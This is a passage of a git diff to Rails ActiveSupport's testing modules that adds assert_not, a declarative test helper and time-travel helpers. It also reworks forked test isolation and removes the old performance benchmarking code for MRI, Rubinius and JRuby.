+ # like <tt>if foo</tt>.
+ #
+ # assert_not nil # => true
+ # assert_not false # => true
+ # assert_not 'foo' # => Expected "foo" to be nil or false
+ #
+ # An error message can be specified.
+ #
+ # assert_not foo, 'foo should be false'
+ def assert_not(object, message = nil)
+ message ||= "Expected #{mu_pp(object)} to be nil or false"
+ assert !object, message
+ end
+
# Test numeric difference between the return value of an expression as a
# result of what is evaluated in the yielded block.
#
@@ -50,7 +66,7 @@ module ActiveSupport
exps = expressions.map { |e|
e.respond_to?(:call) ? e : lambda { eval(e, block.binding) }
}
- before = exps.map { |e| e.call }
+ before = exps.map(&:call)
yield
@@ -76,34 +92,6 @@ module ActiveSupport
def assert_no_difference(expression, message = nil, &block)
assert_difference expression, 0, message, &block
end
-
- # Test if an expression is blank. Passes if <tt>object.blank?</tt>
- # is +true+.
- #
- # assert_blank [] # => true
- # assert_blank [[]] # => [[]] is not blank
- #
- # An error message can be specified.
- #
- # assert_blank [], 'this should be blank'
- def assert_blank(object, message=nil)
- message ||= "#{object.inspect} is not blank"
- assert object.blank?, message
- end
-
- # Test if an expression is not blank. Passes if <tt>object.present?</tt>
- # is +true+.
- #
- # assert_present({ data: 'x' }) # => true
- # assert_present({}) # => {} is blank
- #
- # An error message can be specified.
- #
- # assert_present({ data: 'x' }, 'this should not be blank')
- def assert_present(object, message=nil)
- message ||= "#{object.inspect} is blank"
- assert object.present?, message
- end
end
end
end
diff --git a/activesupport/lib/active_support/testing/autorun.rb b/activesupport/lib/active_support/testing/autorun.rb
new file mode 100644
index 0000000000..5aa5f46310
--- /dev/null
+++ b/activesupport/lib/active_support/testing/autorun.rb
@@ -0,0 +1,5 @@
+gem 'minitest'
+
+require 'minitest'
+
+Minitest.autorun
diff --git a/activesupport/lib/active_support/testing/constant_lookup.rb b/activesupport/lib/active_support/testing/constant_lookup.rb
index 52bfeb7179..07d477c0db 100644
--- a/activesupport/lib/active_support/testing/constant_lookup.rb
+++ b/activesupport/lib/active_support/testing/constant_lookup.rb
@@ -36,10 +36,8 @@ module ActiveSupport
while names.size > 0 do
names.last.sub!(/Test$/, "")
begin
- constant = names.join("::").constantize
+ constant = names.join("::").safe_constantize
break(constant) if yield(constant)
- rescue NameError
- # Constant wasn't found, move on
ensure
names.pop
end
diff --git a/activesupport/lib/active_support/testing/declarative.rb b/activesupport/lib/active_support/testing/declarative.rb
new file mode 100644
index 0000000000..0bf3643a56
--- /dev/null
+++ b/activesupport/lib/active_support/testing/declarative.rb
@@ -0,0 +1,26 @@
+module ActiveSupport
+ module Testing
+ module Declarative
+ unless defined?(Spec)
+ # Helper to define a test method using a String. Under the hood, it replaces
+ # spaces with underscores and defines the test method.
+ #
+ # test "verify something" do
+ # ...
+ # end
+ def test(name, &block)
+ test_name = "test_#{name.gsub(/\s+/,'_')}".to_sym
+ defined = method_defined? test_name
+ raise "#{test_name} is already defined in #{self}" if defined
+ if block_given?
+ define_method(test_name, &block)
+ else
+ define_method(test_name) do
+ flunk "No implementation provided for #{name}"
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/testing/deprecation.rb b/activesupport/lib/active_support/testing/deprecation.rb
index a8342904dc..6c94c611b6 100644
--- a/activesupport/lib/active_support/testing/deprecation.rb
+++ b/activesupport/lib/active_support/testing/deprecation.rb
@@ -19,18 +19,17 @@ module ActiveSupport
result
end
- private
- def collect_deprecations
- old_behavior = ActiveSupport::Deprecation.behavior
- deprecations = []
- ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack|
- deprecations << message
- end
- result = yield
- [result, deprecations]
- ensure
- ActiveSupport::Deprecation.behavior = old_behavior
+ def collect_deprecations
+ old_behavior = ActiveSupport::Deprecation.behavior
+ deprecations = []
+ ActiveSupport::Deprecation.behavior = Proc.new do |message, callstack|
+ deprecations << message
end
+ result = yield
+ [result, deprecations]
+ ensure
+ ActiveSupport::Deprecation.behavior = old_behavior
+ end
end
end
end
diff --git a/activesupport/lib/active_support/testing/isolation.rb b/activesupport/lib/active_support/testing/isolation.rb
index 27d444fd91..68bda35980 100644
--- a/activesupport/lib/active_support/testing/isolation.rb
+++ b/activesupport/lib/active_support/testing/isolation.rb
@@ -1,109 +1,49 @@
require 'rbconfig'
+
module ActiveSupport
module Testing
- class RemoteError < StandardError
-
- attr_reader :message, :backtrace
-
- def initialize(exception)
- @message = "caught #{exception.class.name}: #{exception.message}"
- @backtrace = exception.backtrace
- end
- end
-
- class ProxyTestResult
- def initialize
- @calls = []
- end
-
- def add_error(e)
- e = Test::Unit::Error.new(e.test_name, RemoteError.new(e.exception))
- @calls << [:add_error, e]
- end
-
- def __replay__(result)
- @calls.each do |name, args|
- result.send(name, *args)
- end
- end
-
- def method_missing(name, *args)
- @calls << [name, args]
- end
- end
-
module Isolation
require 'thread'
- class ParallelEach
- include Enumerable
-
- # default to 2 cores
- CORES = (ENV['TEST_CORES'] || 2).to_i
-
- def initialize list
- @list = list
- @queue = SizedQueue.new CORES
- end
-
- def grep pattern
- self.class.new super
- end
-
- def each
- threads = CORES.times.map {
- Thread.new {
- while job = @queue.pop
- yield job
- end
- }
- }
- @list.each { |i| @queue << i }
- CORES.times { @queue << nil }
- threads.each(&:join)
- end
- end
-
def self.included(klass) #:nodoc:
- klass.extend(Module.new {
- def test_methods
- ParallelEach.new super
- end
- })
+ klass.class_eval do
+ parallelize_me!
+ end
end
def self.forking_env?
!ENV["NO_FORK"] && ((RbConfig::CONFIG['host_os'] !~ /mswin|mingw/) && (RUBY_PLATFORM !~ /java/))
end
+ @@class_setup_mutex = Mutex.new
+
def _run_class_setup # class setup method should only happen in parent
- unless defined?(@@ran_class_setup) || ENV['ISOLATION_TEST']
- self.class.setup if self.class.respond_to?(:setup)
- @@ran_class_setup = true
+ @@class_setup_mutex.synchronize do
+ unless defined?(@@ran_class_setup) || ENV['ISOLATION_TEST']
+ self.class.setup if self.class.respond_to?(:setup)
+ @@ran_class_setup = true
+ end
end
end
- def run(runner)
- _run_class_setup
-
- serialized = run_in_isolation do |isolated_runner|
- super(isolated_runner)
+ def run
+ serialized = run_in_isolation do
+ super
end
- retval, proxy = Marshal.load(serialized)
- proxy.__replay__(runner)
- retval
+ Marshal.load(serialized)
end
module Forking
def run_in_isolation(&blk)
read, write = IO.pipe
+ read.binmode
+ write.binmode
pid = fork do
read.close
- proxy = ProxyTestResult.new
- retval = yield proxy
- write.puts [Marshal.dump([retval, proxy])].pack("m")
+ yield
+ write.puts [Marshal.dump(self.dup)].pack("m")
exit!
end
@@ -123,22 +63,31 @@ module ActiveSupport
require "tempfile"
if ENV["ISOLATION_TEST"]
- proxy = ProxyTestResult.new
- retval = yield proxy
+ yield
File.open(ENV["ISOLATION_OUTPUT"], "w") do |file|
- file.puts [Marshal.dump([retval, proxy])].pack("m")
+ file.puts [Marshal.dump(self.dup)].pack("m")
end
exit!
else
Tempfile.open("isolation") do |tmpfile|
- ENV["ISOLATION_TEST"] = @method_name
- ENV["ISOLATION_OUTPUT"] = tmpfile.path
+ env = {
+ ISOLATION_TEST: self.class.name,
+ ISOLATION_OUTPUT: tmpfile.path
+ }
load_paths = $-I.map {|p| "-I\"#{File.expand_path(p)}\"" }.join(" ")
- `#{Gem.ruby} #{load_paths} #{$0} #{ORIG_ARGV.join(" ")} -t\"#{self.class}\"`
+ orig_args = ORIG_ARGV.join(" ")
+ test_opts = "-n#{self.class.name}##{self.name}"
+ command = "#{Gem.ruby} #{load_paths} #{$0} #{orig_args} #{test_opts}"
- ENV.delete("ISOLATION_TEST")
- ENV.delete("ISOLATION_OUTPUT")
+ # IO.popen lets us pass env in a cross-platform way
+ child = IO.popen([env, command])
+
+ begin
+ Process.wait(child.pid)
+ rescue Errno::ECHILD # The child process may exit before we wait
+ nil
+ end
return tmpfile.read.unpack("m")[0]
end
diff --git a/activesupport/lib/active_support/testing/pending.rb b/activesupport/lib/active_support/testing/pending.rb
deleted file mode 100644
index b04bbbbaea..0000000000
--- a/activesupport/lib/active_support/testing/pending.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-require 'active_support/deprecation'
-
-module ActiveSupport
- module Testing
- module Pending # :nodoc:
- unless defined?(Spec)
- def pending(description = "", &block)
- ActiveSupport::Deprecation.warn("#pending is deprecated and will be removed in Rails 4.1, please use #skip instead.")
- skip(description.blank? ? nil : description)
- end
- end
- end
- end
-end
diff --git a/activesupport/lib/active_support/testing/performance.rb b/activesupport/lib/active_support/testing/performance.rb
deleted file mode 100644
index 7102ffe2ed..0000000000
--- a/activesupport/lib/active_support/testing/performance.rb
+++ /dev/null
@@ -1,271 +0,0 @@
-require 'fileutils'
-require 'active_support/concern'
-require 'active_support/core_ext/class/delegating_attributes'
-require 'active_support/core_ext/string/inflections'
-require 'active_support/core_ext/module/delegation'
-require 'active_support/number_helper'
-
-module ActiveSupport
- module Testing
- module Performance
- extend ActiveSupport::Concern
-
- included do
- superclass_delegating_accessor :profile_options
- self.profile_options = {}
- end
-
- # each implementation should define metrics and freeze the defaults
- DEFAULTS =
- if ARGV.include?('--benchmark') # HAX for rake test
- { :runs => 4,
- :output => 'tmp/performance',
- :benchmark => true }
- else
- { :runs => 1,
- :output => 'tmp/performance',
- :benchmark => false }
- end
-
- def full_profile_options
- DEFAULTS.merge(profile_options)
- end
-
- def full_test_name
- "#{self.class.name}##{method_name}"
- end
-
- def run(runner)
- @runner = runner
-
- run_warmup
- if full_profile_options && metrics = full_profile_options[:metrics]
- metrics.each do |metric_name|
- if klass = Metrics[metric_name.to_sym]
- run_profile(klass.new)
- end
- end
- end
-
- return
- end
-
- def run_test(metric, mode)
- result = '.'
- begin
- run_callbacks :setup
- setup
- metric.send(mode) { __send__ method_name }
- rescue Exception => e
- result = @runner.puke(self.class, method_name, e)
- ensure
- begin
- teardown
- run_callbacks :teardown
- rescue Exception => e
- result = @runner.puke(self.class, method_name, e)
- end
- end
- result
- end
-
- protected
- # overridden by each implementation.
- def run_gc; end
-
- def run_warmup
- run_gc
-
- time = Metrics::Time.new
- run_test(time, :benchmark)
- puts "%s (%s warmup)" % [full_test_name, time.format(time.total)]
-
- run_gc
- end
-
- def run_profile(metric)
- klass = full_profile_options[:benchmark] ? Benchmarker : Profiler
- performer = klass.new(self, metric)
-
- performer.run
- puts performer.report
- performer.record
- end
-
- class Performer
- delegate :run_test, :full_profile_options, :full_test_name, :to => :@harness
-
- def initialize(harness, metric)
- @harness, @metric, @supported = harness, metric, false
- end
-
- def report
- if @supported
- rate = @total / full_profile_options[:runs]
- '%20s: %s' % [@metric.name, @metric.format(rate)]
- else
- '%20s: unsupported' % @metric.name
- end
- end
-
- protected
- def output_filename
- "#{full_profile_options[:output]}/#{full_test_name}_#{@metric.name}"
- end
- end
-
- # overridden by each implementation.
- class Profiler < Performer
- def time_with_block
- before = Time.now
- yield
- Time.now - before
- end
-
- def run; end
- def record; end
- end
-
- class Benchmarker < Performer
- def initialize(*args)
- super
- @supported = @metric.respond_to?('measure')
- end
-
- def run
- return unless @supported
-
- full_profile_options[:runs].to_i.times { run_test(@metric, :benchmark) }
- @total = @metric.total
- end
-
- def record
- avg = @metric.total / full_profile_options[:runs].to_i
- now = Time.now.utc.xmlschema
- with_output_file do |file|
- file.puts "#{avg},#{now},#{environment}"
- end
- end
-
- def environment
- @env ||= [].tap do |env|
- env << "#{$1}.#{$2}" if File.directory?('.git') && `git branch -v` =~ /^\* (\S+)\s+(\S+)/
- env << rails_version if defined?(Rails::VERSION::STRING)
- env << "#{RUBY_ENGINE}-#{RUBY_VERSION}.#{RUBY_PATCHLEVEL}"
- env << RUBY_PLATFORM
- end.join(',')
- end
-
- protected
- if defined?(Rails::VERSION::STRING)
- HEADER = 'measurement,created_at,app,rails,ruby,platform'
- else
- HEADER = 'measurement,created_at,app,ruby,platform'
- end
-
- def with_output_file
- fname = output_filename
-
- if new = !File.exist?(fname)
- FileUtils.mkdir_p(File.dirname(fname))
- end
-
- File.open(fname, 'ab') do |file|
- file.puts(HEADER) if new
- yield file
- end
- end
-
- def output_filename
- "#{super}.csv"
- end
-
- def rails_version
- "rails-#{Rails::VERSION::STRING}#{rails_branch}"
- end
-
- def rails_branch
- if File.directory?('vendor/rails/.git')
- Dir.chdir('vendor/rails') do
- ".#{$1}.#{$2}" if `git branch -v` =~ /^\* (\S+)\s+(\S+)/
- end
- end
- end
- end
-
- module Metrics
- def self.[](name)
- const_get(name.to_s.camelize)
- rescue NameError
- nil
- end
-
- class Base
- include ActiveSupport::NumberHelper
-
- attr_reader :total
-
- def initialize
- @total = 0
- end
-
- def name
- @name ||= self.class.name.demodulize.underscore
- end
-
- def benchmark
- with_gc_stats do
- before = measure
- yield
- @total += (measure - before)
- end
- end
-
- # overridden by each implementation.
- def profile; end
-
- protected
- # overridden by each implementation.
- def with_gc_stats; end
- end
-
- class Time < Base
- def measure
- ::Time.now.to_f
- end
-
- def format(measurement)
- if measurement < 1
- '%d ms' % (measurement * 1000)
- else
- '%.2f sec' % measurement
- end
- end
- end
-
- class Amount < Base
- def format(measurement)
- number_to_delimited(measurement.floor)
- end
- end
-
- class DigitalInformationUnit < Base
- def format(measurement)
- number_to_human_size(measurement, :precision => 2)
- end
- end
-
- # each implementation provides its own metrics like ProcessTime, Memory or GcRuns
- end
- end
- end
-end
-
-case RUBY_ENGINE
- when 'ruby' then require 'active_support/testing/performance/ruby'
- when 'rbx' then require 'active_support/testing/performance/rubinius'
- when 'jruby' then require 'active_support/testing/performance/jruby'
- else
- $stderr.puts 'Your ruby interpreter is not supported for benchmarking.'
- exit
-end
diff --git a/activesupport/lib/active_support/testing/performance/jruby.rb b/activesupport/lib/active_support/testing/performance/jruby.rb
deleted file mode 100644
index 34e3f9f45f..0000000000
--- a/activesupport/lib/active_support/testing/performance/jruby.rb
+++ /dev/null
@@ -1,115 +0,0 @@
-require 'jruby/profiler'
-require 'java'
-java_import java.lang.management.ManagementFactory
-
-module ActiveSupport
- module Testing
- module Performance
- DEFAULTS.merge!(
- if ARGV.include?('--benchmark')
- {:metrics => [:wall_time, :user_time, :memory, :gc_runs, :gc_time]}
- else
- { :metrics => [:wall_time],
- :formats => [:flat, :graph] }
- end).freeze
-
- protected
- def run_gc
- ManagementFactory.memory_mx_bean.gc
- end
-
- class Profiler < Performer
- def initialize(*args)
- super
- @supported = @metric.is_a?(Metrics::WallTime)
- end
-
- def run
- return unless @supported
-
- @total = time_with_block do
- @data = JRuby::Profiler.profile do
- full_profile_options[:runs].to_i.times { run_test(@metric, :profile) }
- end
- end
- end
-
- def record
- return unless @supported
-
- klasses = full_profile_options[:formats].map { |f| JRuby::Profiler.const_get("#{f.to_s.camelize}ProfilePrinter") }.compact
-
- klasses.each do |klass|
- fname = output_filename(klass)
- FileUtils.mkdir_p(File.dirname(fname))
- File.open(fname, 'wb') do |file|
- klass.new(@data).printProfile(file)
- end
- end
- end
-
- protected
- def output_filename(printer_class)
- suffix =
- case printer_class.name.demodulize
- when 'FlatProfilePrinter'; 'flat.txt'
- when 'GraphProfilePrinter'; 'graph.txt'
- else printer_class.name.sub(/ProfilePrinter$/, '').underscore
- end
-
- "#{super()}_#{suffix}"
- end
- end
-
- module Metrics
- class Base
- def profile
- yield
- end
-
- protected
- def with_gc_stats
- ManagementFactory.memory_mx_bean.gc
- yield
- end
- end
-
- class WallTime < Time
- def measure
- super
- end
- end
-
- class CpuTime < Time
- def measure
- ManagementFactory.thread_mx_bean.get_current_thread_cpu_time / 1000 / 1000 / 1000.0 # seconds
- end
- end
-
- class UserTime < Time
- def measure
- ManagementFactory.thread_mx_bean.get_current_thread_user_time / 1000 / 1000 / 1000.0 # seconds
- end
- end
-
- class Memory < DigitalInformationUnit
- def measure
- ManagementFactory.memory_mx_bean.non_heap_memory_usage.used + ManagementFactory.memory_mx_bean.heap_memory_usage.used
- end
- end
-
- class GcRuns < Amount
- def measure
- ManagementFactory.garbage_collector_mx_beans.inject(0) { |total_runs, current_gc| total_runs += current_gc.collection_count }
- end
- end
-
- class GcTime < Time
- def measure
- ManagementFactory.garbage_collector_mx_beans.inject(0) { |total_time, current_gc| total_time += current_gc.collection_time } / 1000.0 # seconds
- end
- end
- end
- end
- end
-end
diff --git a/activesupport/lib/active_support/testing/performance/rubinius.rb b/activesupport/lib/active_support/testing/performance/rubinius.rb
deleted file mode 100644
index d9ebfbe352..0000000000
--- a/activesupport/lib/active_support/testing/performance/rubinius.rb
+++ /dev/null
@@ -1,113 +0,0 @@
-require 'rubinius/agent'
-
-module ActiveSupport
- module Testing
- module Performance
- DEFAULTS.merge!(
- if ARGV.include?('--benchmark')
- {:metrics => [:wall_time, :memory, :objects, :gc_runs, :gc_time]}
- else
- { :metrics => [:wall_time],
- :formats => [:flat, :graph] }
- end).freeze
-
- protected
- def run_gc
- GC.run(true)
- end
-
- class Performer; end
-
- class Profiler < Performer
- def initialize(*args)
- super
- @supported = @metric.is_a?(Metrics::WallTime)
- end
-
- def run
- return unless @supported
-
- @profiler = Rubinius::Profiler::Instrumenter.new
-
- @total = time_with_block do
- @profiler.profile(false) do
- full_profile_options[:runs].to_i.times { run_test(@metric, :profile) }
- end
- end
- end
-
- def record
- return unless @supported
-
- if(full_profile_options[:formats].include?(:flat))
- create_path_and_open_file(:flat) do |file|
- @profiler.show(file)
- end
- end
-
- if(full_profile_options[:formats].include?(:graph))
- create_path_and_open_file(:graph) do |file|
- @profiler.show(file)
- end
- end
- end
-
- protected
- def create_path_and_open_file(printer_name)
- fname = "#{output_filename}_#{printer_name}.txt"
- FileUtils.mkdir_p(File.dirname(fname))
- File.open(fname, 'wb') do |file|
- yield(file)
- end
- end
- end
-
- module Metrics
- class Base
- attr_reader :loopback
-
- def profile
- yield
- end
-
- protected
- def with_gc_stats
- @loopback = Rubinius::Agent.loopback
- GC.run(true)
- yield
- end
- end
-
- class WallTime < Time
- def measure
- super
- end
- end
-
- class Memory < DigitalInformationUnit
- def measure
- loopback.get("system.memory.counter.bytes").last
- end
- end
-
- class Objects < Amount
- def measure
- loopback.get("system.memory.counter.objects").last
- end
- end
-
- class GcRuns < Amount
- def measure
- loopback.get("system.gc.full.count").last + loopback.get("system.gc.young.count").last
- end
- end
-
- class GcTime < Time
- def measure
- (loopback.get("system.gc.full.wallclock").last + loopback.get("system.gc.young.wallclock").last) / 1000.0
- end
- end
- end
- end
- end
-end
diff --git a/activesupport/lib/active_support/testing/performance/ruby.rb b/activesupport/lib/active_support/testing/performance/ruby.rb
deleted file mode 100644
index 7c149df1e4..0000000000
--- a/activesupport/lib/active_support/testing/performance/ruby.rb
+++ /dev/null
@@ -1,173 +0,0 @@
-begin
- require 'ruby-prof'
-rescue LoadError
- $stderr.puts 'Specify ruby-prof as application\'s dependency in Gemfile to run benchmarks.'
- raise
-end
-
-module ActiveSupport
- module Testing
- module Performance
- DEFAULTS.merge!(
- if ARGV.include?('--benchmark')
- { :metrics => [:wall_time, :memory, :objects, :gc_runs, :gc_time] }
- else
- { :min_percent => 0.01,
- :metrics => [:process_time, :memory, :objects],
- :formats => [:flat, :graph_html, :call_tree, :call_stack] }
- end).freeze
-
- protected
- remove_method :run_gc
- def run_gc
- GC.start
- end
-
- class Profiler < Performer
- def initialize(*args)
- super
- @supported = @metric.measure_mode rescue false
- end
-
- remove_method :run
- def run
- return unless @supported
-
- RubyProf.measure_mode = @metric.measure_mode
- RubyProf.start
- RubyProf.pause
- full_profile_options[:runs].to_i.times { run_test(@metric, :profile) }
- @data = RubyProf.stop
- @total = @data.threads.sum(0) { |thread| thread.methods.max.total_time }
- end
-
- remove_method :record
- def record
- return unless @supported
-
- klasses = full_profile_options[:formats].map { |f| RubyProf.const_get("#{f.to_s.camelize}Printer") }.compact
-
- klasses.each do |klass|
- fname = output_filename(klass)
- FileUtils.mkdir_p(File.dirname(fname))
- File.open(fname, 'wb') do |file|
- klass.new(@data).print(file, full_profile_options.slice(:min_percent))
- end
- end
- end
-
- protected
- def output_filename(printer_class)
- suffix =
- case printer_class.name.demodulize
- when 'FlatPrinter'; 'flat.txt'
- when 'FlatPrinterWithLineNumbers'; 'flat_line_numbers.txt'
- when 'GraphPrinter'; 'graph.txt'
- when 'GraphHtmlPrinter'; 'graph.html'
- when 'GraphYamlPrinter'; 'graph.yml'
- when 'CallTreePrinter'; 'tree.txt'
- when 'CallStackPrinter'; 'stack.html'
- when 'DotPrinter'; 'graph.dot'
- else printer_class.name.sub(/Printer$/, '').underscore
- end
-
- "#{super()}_#{suffix}"
- end
- end
-
- module Metrics
- class Base
- def measure_mode
- self.class::Mode
- end
-
- remove_method :profile
- def profile
- RubyProf.resume
- yield
- ensure
- RubyProf.pause
- end
-
- protected
- remove_method :with_gc_stats
- def with_gc_stats
- GC::Profiler.enable
- GC.start
- yield
- ensure
- GC::Profiler.disable
- end
- end
-
- class ProcessTime < Time
- Mode = RubyProf::PROCESS_TIME if RubyProf.const_defined?(:PROCESS_TIME)
-
- def measure
- RubyProf.measure_process_time
- end
- end
-
- class WallTime < Time
- Mode = RubyProf::WALL_TIME if RubyProf.const_defined?(:WALL_TIME)
-
- def measure
- RubyProf.measure_wall_time
- end
- end
-
- class CpuTime < Time
- Mode = RubyProf::CPU_TIME if RubyProf.const_defined?(:CPU_TIME)
-
- def initialize(*args)
- # FIXME: yeah my CPU is 2.33 GHz
- RubyProf.cpu_frequency = 2.33e9 unless RubyProf.cpu_frequency > 0
- super
- end
-
- def measure
- RubyProf.measure_cpu_time
- end
- end
-
- class Memory < DigitalInformationUnit
- Mode = RubyProf::MEMORY if RubyProf.const_defined?(:MEMORY)
-
- # Ruby 1.9 + GCdata patch
- if GC.respond_to?(:malloc_allocated_size)
- def measure
- GC.malloc_allocated_size
- end
- end
- end
-
- class Objects < Amount
- Mode = RubyProf::ALLOCATIONS if RubyProf.const_defined?(:ALLOCATIONS)
-
- # Ruby 1.9 + GCdata patch
- if GC.respond_to?(:malloc_allocations)
- def measure
- GC.malloc_allocations
- end
- end
- end
-
- class GcRuns < Amount
- Mode = RubyProf::GC_RUNS if RubyProf.const_defined?(:GC_RUNS)
-
- def measure
- GC.count
- end
- end
-
- class GcTime < Time
- Mode = RubyProf::GC_TIME if RubyProf.const_defined?(:GC_TIME)
-
- def measure
- GC::Profiler.total_time
- end
- end
- end
- end
- end
-end
diff --git a/activesupport/lib/active_support/testing/setup_and_teardown.rb b/activesupport/lib/active_support/testing/setup_and_teardown.rb
index a65148cf1f..33f2b8dc9b 100644
--- a/activesupport/lib/active_support/testing/setup_and_teardown.rb
+++ b/activesupport/lib/active_support/testing/setup_and_teardown.rb
@@ -3,6 +3,19 @@ require 'active_support/callbacks'
module ActiveSupport
module Testing
+ # Adds support for +setup+ and +teardown+ callbacks.
+ # These callbacks serve as a replacement to overwriting the
+ # <tt>#setup</tt> and <tt>#teardown</tt> methods of your TestCase.
+ #
+ # class ExampleTest < ActiveSupport::TestCase
+ # setup do
+ # # ...
+ # end
+ #
+ # teardown do
+ # # ...
+ # end
+ # end
module SetupAndTeardown
extend ActiveSupport::Concern
@@ -12,21 +25,23 @@ module ActiveSupport
end
module ClassMethods
+ # Add a callback, which runs before <tt>TestCase#setup</tt>.
def setup(*args, &block)
set_callback(:setup, :before, *args, &block)
end
+ # Add a callback, which runs after <tt>TestCase#teardown</tt>.
def teardown(*args, &block)
set_callback(:teardown, :after, *args, &block)
end
end
- def before_setup
+ def before_setup # :nodoc:
super
run_callbacks :setup
end
- def after_teardown
+ def after_teardown # :nodoc:
run_callbacks :teardown
super
end
diff --git a/activesupport/lib/active_support/testing/tagged_logging.rb b/activesupport/lib/active_support/testing/tagged_logging.rb
index 8ea2605733..843ce4a867 100644
--- a/activesupport/lib/active_support/testing/tagged_logging.rb
+++ b/activesupport/lib/active_support/testing/tagged_logging.rb
@@ -1,26 +1,25 @@
module ActiveSupport
module Testing
- module TaggedLogging
+ # Logs a "PostsControllerTest: test name" heading before each test to
+ # make test.log easier to search and follow along with.
+ module TaggedLogging #:nodoc:
attr_writer :tagged_logger
def before_setup
- tagged_logger.push_tags(self.class.name, __name__) if tagged_logging?
- super
- end
-
- def after_teardown
+ if tagged_logger && tagged_logger.info?
+ heading = "#{self.class}: #{name}"
+ divider = '-' * heading.size
+ tagged_logger.info divider
+ tagged_logger.info heading
+ tagged_logger.info divider
+ end
super
- tagged_logger.pop_tags(2) if tagged_logging?
end
private
def tagged_logger
@tagged_logger ||= (defined?(Rails.logger) && Rails.logger)
end
-
- def tagged_logging?
- tagged_logger && tagged_logger.respond_to?(:push_tags)
- end
end
end
end
diff --git a/activesupport/lib/active_support/testing/time_helpers.rb b/activesupport/lib/active_support/testing/time_helpers.rb
new file mode 100644
index 0000000000..8c63815660
--- /dev/null
+++ b/activesupport/lib/active_support/testing/time_helpers.rb
@@ -0,0 +1,131 @@
+module ActiveSupport
+ module Testing
+ class SimpleStubs # :nodoc:
+ Stub = Struct.new(:object, :method_name, :original_method)
+
+ def initialize
+ @stubs = {}
+ end
+
+ def stub_object(object, method_name, return_value)
+ key = [object.object_id, method_name]
+
+ if stub = @stubs[key]
+ unstub_object(stub)
+ end
+
+ new_name = "__simple_stub__#{method_name}"
+
+ @stubs[key] = Stub.new(object, method_name, new_name)
+
+ object.singleton_class.send :alias_method, new_name, method_name
+ object.define_singleton_method(method_name) { return_value }
+ end
+
+ def unstub_all!
+ @stubs.each_value do |stub|
+ unstub_object(stub)
+ end
+ @stubs = {}
+ end
+
+ private
+
+ def unstub_object(stub)
+ singleton_class = stub.object.singleton_class
+ singleton_class.send :undef_method, stub.method_name
+ singleton_class.send :alias_method, stub.method_name, stub.original_method
+ singleton_class.send :undef_method, stub.original_method
+ end
+ end
+
+ # Containing helpers that helps you test passage of time.
+ module TimeHelpers
+ # Changes current time to the time in the future or in the past by a given time difference by
+ # stubbing +Time.now+ and +Date.today+.
+ #
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ # travel 1.day
+ # Time.current # => Sun, 10 Nov 2013 15:34:49 EST -05:00
+ # Date.current # => Sun, 10 Nov 2013
+ #
+ # This method also accepts a block, which will return the current time back to its original
+ # state at the end of the block:
+ #
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ # travel 1.day do
+ # User.create.created_at # => Sun, 10 Nov 2013 15:34:49 EST -05:00
+ # end
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ def travel(duration, &block)
+ travel_to Time.now + duration, &block
+ end
+
+ # Changes current time to the given time by stubbing +Time.now+ and
+ # +Date.today+ to return the time or date passed into this method.
+ #
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ # travel_to Time.new(2004, 11, 24, 01, 04, 44)
+ # Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+ # Date.current # => Wed, 24 Nov 2004
+ #
+ # Dates are taken as their timestamp at the beginning of the day in the
+ # application time zone. <tt>Time.current</tt> returns said timestamp,
+ # and <tt>Time.now</tt> its equivalent in the system time zone. Similarly,
+ # <tt>Date.current</tt> returns a date equal to the argument, and
+ # <tt>Date.today</tt> the date according to <tt>Time.now</tt>, which may
+ # be different. (Note that you rarely want to deal with <tt>Time.now</tt>,
+ # or <tt>Date.today</tt>, in order to honor the application time zone
+ # please always use <tt>Time.current</tt> and <tt>Date.current</tt>.)
+ #
+ # Note that the usec for the time passed will be set to 0 to prevent rounding
+ # errors with external services, like MySQL (which will round instead of floor,
+ # leading to off-by-one-second errors).
+ #
+ # This method also accepts a block, which will return the current time back to its original
+ # state at the end of the block:
+ #
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ # travel_to Time.new(2004, 11, 24, 01, 04, 44) do
+ # Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+ # end
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ def travel_to(date_or_time)
+ if date_or_time.is_a?(Date) && !date_or_time.is_a?(DateTime)
+ now = date_or_time.midnight.to_time
+ else
+ now = date_or_time.to_time.change(usec: 0)
+ end
+
+ simple_stubs.stub_object(Time, :now, now)
+ simple_stubs.stub_object(Date, :today, now.to_date)
+
+ if block_given?
+ begin
+ yield
+ ensure
+ travel_back
+ end
+ end
+ end
+
+ # Returns the current time back to its original state, by removing the stubs added by
+ # `travel` and `travel_to`.
+ #
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ # travel_to Time.new(2004, 11, 24, 01, 04, 44)
+ # Time.current # => Wed, 24 Nov 2004 01:04:44 EST -05:00
+ # travel_back
+ # Time.current # => Sat, 09 Nov 2013 15:34:49 EST -05:00
+ def travel_back
+ simple_stubs.unstub_all!
+ end
+
+ private
+
+ def simple_stubs
+ @simple_stubs ||= SimpleStubs.new
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/time.rb b/activesupport/lib/active_support/time.rb
index bcd5d78b54..ea2d3391bd 100644
--- a/activesupport/lib/active_support/time.rb
+++ b/activesupport/lib/active_support/time.rb
@@ -1,5 +1,3 @@
-require 'active_support'
-
module ActiveSupport
autoload :Duration, 'active_support/duration'
autoload :TimeWithZone, 'active_support/time_with_zone'
@@ -9,21 +7,12 @@ end
require 'date'
require 'time'
-require 'active_support/core_ext/time/marshal'
-require 'active_support/core_ext/time/acts_like'
-require 'active_support/core_ext/time/calculations'
-require 'active_support/core_ext/time/conversions'
-require 'active_support/core_ext/time/zones'
-
-require 'active_support/core_ext/date/acts_like'
-require 'active_support/core_ext/date/calculations'
-require 'active_support/core_ext/date/conversions'
-require 'active_support/core_ext/date/zones'
-
-require 'active_support/core_ext/date_time/acts_like'
-require 'active_support/core_ext/date_time/calculations'
-require 'active_support/core_ext/date_time/conversions'
-require 'active_support/core_ext/date_time/zones'
+require 'active_support/core_ext/time'
